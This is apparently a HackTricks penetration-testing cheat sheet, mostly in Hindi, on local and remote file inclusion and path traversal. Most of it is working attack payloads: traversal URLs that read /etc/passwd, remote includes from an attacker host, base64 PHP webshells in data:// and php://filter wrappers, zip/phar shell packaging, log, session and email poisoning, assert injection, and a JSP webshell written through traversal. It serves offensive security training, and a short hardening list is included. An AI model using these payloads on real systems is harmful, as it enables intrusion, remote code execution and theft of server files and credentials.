File Inclusion/Path traversal

Reading time: 31 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

File Inclusion

Remote File Inclusion (RFI): फाइल किसी remote server से लोड की जाती है (सबसे अच्छा: आप कोड लिख सकते हैं और server उसे execute करेगा). In php यह डिफ़ॉल्ट रूप से disabled है (allow_url_include).
Local File Inclusion (LFI): सर्वर एक local फ़ाइल को लोड करता है.

Vulnerability तब होती है जब user किसी तरह उस फाइल को control कर सकता है जिसे server लोड करने वाला है.

असुरक्षित PHP functions: require, require_once, include, include_once

एक दिलचस्प टूल इस vulnerability को exploit करने के लिए: https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

*कई nix LFI सूचियों को मिलाकर और अधिक पथ जोड़कर मैंने यह बनाया है:

Auto_Wordlists/wordlists/file_inclusion_linux.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

इसके अलावा / को \ से बदलकर भी कोशिश करें
इसके अलावा ../../../../../ जोड़कर भी कोशिश करें

A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found here

Windows

विभिन्न wordlists का संयोजन:

Auto_Wordlists/wordlists/file_inclusion_windows.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

इसके अलावा / को \ से बदलकर भी कोशिश करें
इसके अलावा C:/ हटाकर ../../../../../ जोड़कर भी कोशिश करें

A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found here

OS X

linux की LFI सूची देखें।

बुनियादी LFI और bypasses

सभी उदाहरण Local File Inclusion के लिए हैं लेकिन Remote File Inclusion पर भी लागू किए जा सकते हैं (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences को गैर-पुनरावर्ती रूप से हटाया गया

python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Bypass करें: प्रदान की गई स्ट्रिंग के अंत में जोड़े गए अतिरिक्त अक्षरों को (bypass of: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

यह PHP 5.4 से हल हो चुका है

Encoding

आप non-standard encodings जैसे double URL encode (और अन्य) का उपयोग कर सकते हैं:

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

मौजूद फ़ोल्डर से

शायद back-end फ़ोल्डर पथ की जाँच कर रहा है:

python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

सर्वर पर फ़ाइल सिस्टम डायरेक्टरीज़ का अन्वेषण

किसी सर्वर की फ़ाइल सिस्टम को recursive तरीके से अन्वेषण कर केवल फ़ाइलों के बजाय डायरेक्टरीज़ की पहचान भी की जा सकती है। इस प्रक्रिया में directory depth निर्धारित करना और विशिष्ट फ़ोल्डरों के अस्तित्व के लिए probe करना शामिल है। नीचे इसे हासिल करने का विस्तृत तरीका दिया गया है:

  1. Directory Depth निर्धारित करें: अपने वर्तमान डायरेक्टरी की depth का पता लगाएँ /etc/passwd फ़ाइल को सफलतापूर्वक प्राप्त करके (यदि सर्वर Linux-based है तो लागू)। एक उदाहरण URL इस प्रकार संरचित हो सकता है, जो तीन की depth को संकेत करता है:
bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Probe for Folders: संदेहास्पद फ़ोल्डर का नाम (उदा., private) URL में जोड़ें, फिर /etc/passwd पर वापस जाएँ। अतिरिक्त डायरेक्टरी लेवल के लिए depth को एक से बढ़ाना होगा:
bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. परिणामों की व्याख्या करें: सर्वर की प्रतिक्रिया यह दर्शाती है कि फ़ोल्डर मौजूद है या नहीं:
  • त्रुटि / कोई आउटपुट नहीं: निर्दिष्ट स्थान पर private फ़ोल्डर संभवतः मौजूद नहीं है।
  • /etc/passwd की सामग्री: private फ़ोल्डर की उपस्थिति की पुष्टि होती है।
  1. Recursive Exploration: खोजे गए फ़ोल्डरों को उसी तकनीक या पारंपरिक Local File Inclusion (LFI) तरीकों का उपयोग करके उपनिर्देशिकाओं या फाइलों के लिए आगे जांचा जा सकता है।

फाइल सिस्टम में विभिन्न स्थानों पर निर्देशिकाओं का अन्वेषण करने के लिए, payload को उसी के अनुसार समायोजित करें। उदाहरण के लिए, यह जांचने के लिए कि /var/www/ में private निर्देशिका है या नहीं (मान लें कि वर्तमान निर्देशिका की गहराई 3 है), उपयोग करें:

bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation एक विधि है जिसका उपयोग web applications में file paths को manipulate करने के लिए किया जाता है। इसका अक्सर उपयोग restricted files तक पहुँचने के लिए किया जाता है, उन security measures को bypass करके जो file paths के अंत में अतिरिक्त characters जोड़ देते हैं। उद्देश्य ऐसा file path तैयार करना है जो security measure द्वारा परिवर्तित होने के बाद भी desired file की ओर इशारा करे।

In PHP, file system की प्रकृति के कारण किसी file path के विभिन्न representations को equivalent माना जा सकता है। उदाहरण के लिए:

  • /etc/passwd, /etc//passwd, /etc/./passwd, और /etc/passwd/ सभी को एक ही path माना जाता है।
  • जब अंतिम 6 characters passwd होते हैं, तो / जोड़ने (यानि passwd/) से targeted file बदलती नहीं है।
  • इसी तरह, यदि किसी file path के अंत में .php जोड़ा गया है (जैसे shellcode.php), तो अंत में /. जोड़ने से accessed file पर असर नहीं पड़ता।

नीचे दिए गए उदाहरण दिखाते हैं कि कैसे path truncation का उपयोग करके /etc/passwd तक पहुँच स्थापित की जा सकती है, जो अपनी संवेदनशील सामग्री (उपयोगकर्ता खाता जानकारी) के कारण एक सामान्य लक्ष्य है:

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

In these scenarios, the number of traversals needed might be around 2027, but this number can vary based on the server's configuration.

  • Using Dot Segments and Additional Characters: Traversal sequences (../) को अतिरिक्त dot segments और characters के साथ मिलाकर file system में नेविगेट करने के लिए इस्तेमाल किया जा सकता है, जिससे server द्वारा जोड़े गए appended strings प्रभावी रूप से अनदेखा हो जाते हैं।
  • Determining the Required Number of Traversals: Trial and error के माध्यम से, किसी को यह सटीक संख्या मिल सकती है कि root directory तक और फिर /etc/passwd तक पहुँचने के लिए कितने ../ sequences चाहिए, यह सुनिश्चित करते हुए कि किसी भी appended strings (जैसे .php) को neutralize किया गया है पर इच्छित path (/etc/passwd) अपरिवर्तित रहे।
  • Starting with a Fake Directory: Path को एक non-existent directory (जैसे a/) से शुरू करना एक सामान्य अभ्यास है। यह technique सावधानी के तौर पर या server के path parsing logic की आवश्यकताओं को पूरा करने के लिए उपयोग की जाती है।

When employing path truncation techniques, यह समझना ज़रूरी है कि server का path parsing व्यवहार और filesystem संरचना कैसी है। हर परिदृश्य के लिए अलग approach की ज़रूरत हो सकती है, और सबसे प्रभावी method खोजने के लिए अक्सर testing आवश्यक होती है।

This vulnerability was corrected in PHP 5.3.

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

In php यह डिफ़ॉल्ट रूप से अक्षम है क्योंकि allow_url_include Off. यह काम करने के लिए On होना चाहिए, और उस स्थिति में आप अपने सर्वर से एक PHP फ़ाइल शामिल करके RCE प्राप्त कर सकते हैं:

python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

यदि किसी कारणवश allow_url_include On है, लेकिन PHP बाहरी वेबपेजों तक पहुँच को filtering कर रहा है, according to this post, आप उदाहरण के लिए data protocol के साथ base64 का उपयोग करके b64 PHP कोड को decode कर सकते हैं और egt RCE:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

tip

पिछले कोड में, आखिरी +.txt इसलिए जोड़ा गया क्योंकि attacker को एक ऐसा string चाहिए था जो .txt पर समाप्त हो, इसलिए string उसी के साथ समाप्त होता है और b64 decode के बाद वह हिस्सा सिर्फ junk लौटाएगा और असली PHP कोड include किया जाएगा (और इसलिए execute होगा)।

एक और उदाहरण जो php:// protocol का उपयोग नहीं करता ऐसा होगा:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python रूट तत्व

python में, इस तरह के कोड में:

python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

यदि उपयोगकर्ता absolute path को file_name में पास करता है, तो previous path सिर्फ हटा दिया जाता है:

python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

यह the docs के अनुसार इच्छित व्यवहार है:

यदि कोई घटक एक absolute path है, तो सभी पिछले घटक फेंक दिए जाते हैं और joining उस absolute path घटक से जारी रहती है।

Java निर्देशिकाओं की सूची

ऐसा लगता है कि यदि Java में आपका Path Traversal है और आप file की बजाय किसी directory के लिए अनुरोध करते हैं, तो डायरेक्टरी की सूची लौटाई जाती है। यह अन्य भाषाओं में नहीं होगा (afaik).

शीर्ष 25 पैरामीटर

यहाँ शीर्ष 25 पैरामीटरों की सूची है जो local file inclusion (LFI) vulnerabilities के प्रति कमजोर हो सकते हैं (from link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI — PHP wrappers और protocols का उपयोग करके

php://filter

PHP filters डेटा को पढ़ा या लिखा जाने से पहले उस पर बुनियादी संशोधन ऑपरेशन करने की अनुमति देते हैं। फिल्टर की 5 श्रेणियाँ हैं:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: डेटा से tags हटाता है ( '<' और '>' कैरैक्टर के बीच की सब कुछ )
  • Note that this filter has disappear from the modern versions of PHP
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : अलग encoding में बदलता है (convert.iconv.<input_enc>.<output_enc>). समर्थित सभी encodings की सूची प्राप्त करने के लिए console में चलाएँ: iconv -l

warning

Abusing the convert.iconv.* conversion filter you can generate arbitrary text, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: सामग्री को compress करता है (यदि बहुत सारी जानकारी exfiltrating करनी हो तो उपयोगी)
  • zlib.inflate: डेटा को decompress करता है
  • Encryption Filters
  • mcrypt.* : Deprecated
  • mdecrypt.* : Deprecated
  • Other Filters
  • php में var_dump(stream_get_filters()); चलाने पर आप कुछ unexpected filters पा सकते हैं:
  • consumed
  • dechunk: HTTP chunked encoding को उलटता है
  • convert.*
php
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

warning

भाग "php://filter" case-insensitive है

php filters का उपयोग oracle के रूप में किसी भी फ़ाइल को पढ़ने के लिए

In this post में एक तकनीक प्रस्तावित की गई है जिससे सर्वर से आउटपुट वापस न मिले तब भी एक local फ़ाइल पढ़ी जा सकती है। यह तकनीक php filters का उपयोग करते हुए फ़ाइल की boolean exfiltration (char by char) पर आधारित है। इसका कारण यह है कि php filters का उपयोग टेक्स्ट को इतना बड़ा बनाने के लिए किया जा सकता है कि php एक exception फेंक दे।

मूल पोस्ट में इस तकनीक की विस्तृत व्याख्या है, पर यहाँ एक संक्षिप्त सारांश है:

  • Use the codec UCS-4LE to leave leading character of the text at the begging and make the size of string increases exponentially.
  • This will be used to generate a text so big when the initial letter is guessed correctly that php will trigger an error
  • The dechunk filter will remove everything if the first char is not an hexadecimal, so we can know if the first char is hex.
  • This, combined with the previous one (and other filters depending on the guessed letter), will allow us to guess a letter at the beggining of the text by seeing when we do enough transformations to make it not be an hexadecimal character. Because if hex, dechunk won't delete it and the initial bomb will make php error.
  • The codec convert.iconv.UNICODE.CP930 transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an a for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb.
  • Using other transformations like rot13 at the beginning it’s possible to leak other chars like n, o, p, q, r (and other codecs can be used to move other letters to the hex range).
  • When the initial char is a number it’s needed to base64 encode it and leak the 2 first letters to leak the number.
  • The final problem is to see how to leak more than the initial letter. By using order memory filters like convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE is possible to change the order of the chars and get in the first position other letters of the text.
  • And in order to be able to obtain further data the idea if to generate 2 bytes of junk data at the beginning with convert.iconv.UTF16.UTF16, apply UCS-4LE to make it pivot with the next 2 bytes, and delete the data until the junk data (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.

पोस्ट में इस प्रक्रिया को स्वचालित करने के लिए एक टूल भी leak किया गया था: php_filters_chain_oracle_exploit.

php://fd

यह wrapper प्रोसेस के open file descriptors तक access करने की अनुमति देता है। खुले फ़ाइलों की सामग्री को exfiltrate करने के लिए संभावित रूप से उपयोगी:

php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

आप php://stdin, php://stdout and php://stderr का उपयोग भी कर सकते हैं ताकि क्रमशः file descriptors 0, 1 and 2 तक पहुँच सकें (यह हमला में कैसे उपयोगी हो सकता है, यह स्पष्ट नहीं है)

zip:// and rar://

एक Zip या Rar फ़ाइल अपलोड करें जिसमें अंदर एक PHPShell हो और उसे एक्सेस करें.
rar protocol का दुरुपयोग करने में सक्षम होने के लिए इसे विशेष रूप से सक्रिय किया जाना चाहिए.

bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

ध्यान दें कि यह प्रोटोकॉल php कॉन्फ़िगरेशन द्वारा सीमित है allow_url_open और allow_url_include

expect://

Expect को सक्रिय होना चाहिए। आप इसका उपयोग करके कोड निष्पादित कर सकते हैं:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

अपने payload को POST parameters में निर्दिष्ट करें:

bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

फ़ाइल लोडिंग के लिए include जैसे फ़ंक्शन का उपयोग करने पर, एक .phar फ़ाइल PHP कोड निष्पादित करने के लिए उपयोग की जा सकती है। नीचे दिया गया PHP कोड स्निपेट एक .phar फ़ाइल बनाने का उदाहरण दिखाता है:

php
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

.phar फ़ाइल को compile करने के लिए, निम्नलिखित command को execute किया जाना चाहिए:

bash
php --define phar.readonly=0 create_path.php

Upon execution, a file named test.phar will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.

In cases where the LFI only performs file reading without executing the PHP code within, through functions such as file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), or filesize(), exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the phar protocol.

For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

यह संभव था कि PHP से पढ़े जाने वाले किसी भी arbitrary file जो php filters को सपोर्ट करता है का दुरुपयोग करके RCE हासिल किया जा सके। विस्तृत विवरण इस पोस्ट में पाया जा सकता है.
संक्षेप में: PHP heap में एक 3 byte overflow का दुरुपयोग करके किसी specific size के free chunks की chain को alter the chain of free chunks किया गया ताकि किसी भी address में write anything in any address किया जा सके, इसलिए system को कॉल करने के लिए एक hook जोड़ा गया।
अधिक php filters का दुरुपयोग करके specific sizes के chunks allocate करना संभव था।

More protocols

Check more possible protocols to include here:

  • php://memory and php://temp — मेमोरी में या अस्थायी फाइल में लिखना (यह file inclusion हमले में कितना उपयोगी है, निश्चित नहीं)
  • file:// — लोकल filesystem तक पहुँच
  • http:// — HTTP(s) URLs तक पहुँच
  • ftp:// — FTP(s) URLs तक पहुँच
  • zlib:// — कम्प्रेशन स्ट्रीम्स
  • glob:// — पैटर्न से मेल खाने वाले pathnames ढूँढना (यह प्रिंट करने योग्य कुछ नहीं लौटाता, इसलिए यहाँ ज्यादा उपयोगी नहीं)
  • ssh2:// — Secure Shell 2
  • ogg:// — ऑडियो स्ट्रीम्स (arbitrary files पढ़ने के लिए उपयोगी नहीं)

LFI via PHP's 'assert'

PHP में Local File Inclusion (LFI) के जोखिम तब विशेष रूप से अधिक होते हैं जब 'assert' फ़ंक्शन के साथ व्यवहार किया जा रहा हो, क्योंकि यह strings के भीतर के कोड को execute कर सकता है। यह विशेष रूप से समस्याग्रस्त होता है यदि ऐसा इनपुट जिसमें directory traversal characters जैसे ".." शामिल हैं, उसकी जाँच तो की जा रही हो पर उसे सही तरह से sanitize नहीं किया गया हो।

For example, PHP code might be designed to prevent directory traversal like so:

bash
assert("strpos('$file', '..') === false") or die("");

जबकि यह traversal को रोकने का प्रयास करता है, यह अनजाने में code injection के लिए एक वेक्टर बनाता है। फ़ाइल की सामग्री पढ़ने के लिए इसका फायदा उठाते हुए, एक attacker उपयोग कर सकता है:

plaintext
' and die(highlight_file('/etc/passwd')) or '

इसी तरह, किसी भी सिस्टम कमांड को निष्पादित करने के लिए, कोई निम्नलिखित का उपयोग कर सकता है:

plaintext
' and die(system("id")) or '

It’s important to URL-encode these payloads.

PHP Blind Path Traversal

warning

यह तकनीक उन मामलों में प्रासंगिक है जहाँ आप control करते हैं file path को किसी PHP function के लिए जो access a file करेगा, लेकिन आप फाइल की सामग्री नहीं देख पाएँगे (जैसे एक साधारण कॉल file()) और सामग्री प्रदर्शित नहीं होती।

In this incredible post it's explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.

सारांश के तौर पर, यह तकनीक "UCS-4LE" encoding का उपयोग करके फ़ाइल की सामग्री को इतना big बना देती है कि फ़ाइल खोलने वाला PHP function opening एक error ट्रिगर कर देगा।

फिर, पहले char को leak करने के लिए फ़िल्टर dechunk का उपयोग किया जाता है, साथ ही base64 या rot13 जैसे अन्य फ़िल्टरों के साथ, और अंत में filters convert.iconv.UCS-4.UCS-4LE और convert.iconv.UTF16.UTF-16BE का उपयोग करके अन्य chars को शुरुआत में रखा जाता है और उन्हें leak किया जाता है।

Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

तकनीकी विवरण के लिए उल्लेखित पोस्ट देखें!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

यदि server-side code जो files ingest/uploads करता है destination path को user-controlled data (उदा., एक filename या URL) का उपयोग करके बिना canonicalising और validating किए बनाता है, तो .. segments और absolute paths intended directory से बाहर निकल सकते हैं और arbitrary file write करवा सकते हैं। यदि आप payload को किसी web-exposed directory में रख पाते हैं, तो आमतौर पर आप unauthenticated RCE हासिल कर लेते हैं एक webshell डालकर।

आम तौर पर exploit करने का workflow:

  • किसी endpoint या background worker में एक write primitive पहचानें जो path/filename स्वीकार करता है और content को disk पर लिखता है (उदा., message-driven ingestion, XML/JSON command handlers, ZIP extractors, आदि)।
  • web-exposed directories पहचानें। सामान्य उदाहरण:
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • ऐसा traversal path बनाएं जो intended storage directory से निकलकर webroot में पहुँचे, और उसमें अपना webshell content शामिल करें।
  • dropped payload पर ब्राउज़ करें और commands execute करें।

नोट्स:

  • जो vulnerable service write करता है वह non-HTTP port पर सुन सकता है (उदा., एक JMF XML listener on TCP 4004). मुख्य web portal (अलग port) बाद में आपका payload serve करेगा।
  • Java stacks पर, ये file writes अक्सर simple File/Paths concatenation के साथ implement होते हैं। canonicalisation/allow-listing का अभाव मुख्य कमजोरी है।

Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):

xml
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

Hardening that defeats this class of bugs:

  • पाथ को canonical रूप में resolve करें और लागू करें कि यह किसी allow-listed बेस डायरेक्टरी का descendant ही हो।
  • किसी भी पाथ को अस्वीकार करें जिसमें .., absolute roots, या drive letters शामिल हों; generated filenames को प्राथमिकता दें।
  • writer को low-privileged account के रूप में चलाएँ और write डायरेक्टरीज़ को served roots से अलग रखें।

Remote File Inclusion

पहले समझाया गया है, इस लिंक का पालन करें.

Via Apache/Nginx log file

अगर Apache या Nginx सर्वर vulnerable to LFI है और include फ़ंक्शन के अंदर है, तो आप कोशिश कर सकते हैं कि /var/log/apache2/access.log or /var/log/nginx/access.log तक पहुँचें, user agent में या किसी GET parameter में एक php shell जैसे <?php system($_GET['c']); ?> सेट करें और उस फाइल को include करें

warning

ध्यान दें कि अगर आप शेल में double quotes का उपयोग करते हैं simple quotes के बजाय, double quotes स्ट्रिंग "quote;" के लिए बदल दिए जाएंगे, PHP वहाँ एक error फेंकेगा और कुछ भी executed नहीं होगा

साथ ही, सुनिश्चित करें कि आप payload को सही तरीके से लिखते हैं वरना PHP हर बार जब लॉग फाइल को लोड करने की कोशिश करेगा त्रुटि देगा और आपको दूसरा मौका नहीं मिलेगा।

यह अन्य लॉग्स में भी किया जा सकता है लेकिन सावधान रहें, लॉग्स के अंदर का कोड URL encoded हो सकता है और इससे Shell नष्ट हो सकती है। हेडर authorisation "basic" में Base64 में "user:password" शामिल होता है और यह लॉग्स के अंदर decoded होता है। PHPShell इस header के अंदर डाला जा सकता है.
Other possible log paths:

python
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

ईमेल के द्वारा

एक मेल भेजें internal account (user@localhost) को जिसमें आपका PHP payload जैसे <?php echo system($_REQUEST["cmd"]); ?> हो और उपयोगकर्ता की मेल को शामिल करने की कोशिश करें जिस path की तरह /var/mail/<USERNAME> या /var/spool/mail/<USERNAME>

Via /proc/*/fd/*

  1. कई shells अपलोड करें (उदाहरण: 100)
  2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, जहाँ $PID = प्रक्रिया का PID (can be brute forced) और $FD फाइल डिस्क्रिप्टर है (can be brute forced too)

/proc/self/environ के द्वारा

एक लॉग फ़ाइल की तरह, payload को User-Agent में भेजें, यह /proc/self/environ फ़ाइल के अंदर परिलक्षित होगा

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

अपलोड के जरिए

यदि आप एक फ़ाइल अपलोड कर सकते हैं, तो बस उसमें shell payload इंजेक्ट कर दें (उदाहरण: <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

फ़ाइल को पढ़ने योग्य रखने के लिए, सबसे अच्छा है कि pictures/doc/pdf के metadata में inject किया जाए।

Via Zip fie upload

एक ZIP फ़ाइल अपलोड करें जिसमें compressed PHP shell शामिल हो और उसे access करें:

python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

PHP sessions के माध्यम से

जाँच करें कि वेबसाइट PHP Session (PHPSESSID) का उपयोग करती है या नहीं

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

PHP में ये sessions /var/lib/php5/sess\[PHPSESSID]_ फाइलों में सहेजे जाते हैं।

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

cookie को सेट करें: <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

LFI का उपयोग करके PHP session फ़ाइल को include करें

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Via ssh

यदि ssh सक्रिय है, तो देखें कि किस उपयोगकर्ता का उपयोग किया जा रहा है (/proc/self/status & /etc/passwd) और <HOME>/.ssh/id_rsa तक पहुँचने का प्रयास करें।

द्वारा vsftpd लॉग्स

FTP server vsftpd के logs /var/log/vsftpd.log में स्थित होते हैं। ऐसी स्थिति में जहाँ Local File Inclusion (LFI) vulnerability मौजूद हो, और एक्सपोज्ड vsftpd server तक पहुँच संभव हो, तो निम्नलिखित कदम अपनाए जा सकते हैं:

  1. लॉगिन प्रक्रिया के दौरान username field में PHP payload इंजेक्ट करें।
  2. इंजेक्शन के बाद, LFI का उपयोग करके सर्वर logs को /var/log/vsftpd.log से पुनः प्राप्त करें।

के माध्यम से php base64 filter (using base64)

जैसा कि this लेख में दिखाया गया है, PHP base64 filter Non-base64 को अनदेखा कर देता है। आप इसका उपयोग file extension चेक को bypass करने के लिए कर सकते हैं: यदि आप ऐसा base64 प्रदान करते हैं जो ".php" पर समाप्त होता है, तो यह "." को अनदेखा कर देगा और base64 में "php" जोड़ देगा। यहाँ एक उदाहरण payload है:

url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Via php filters (no file needed)

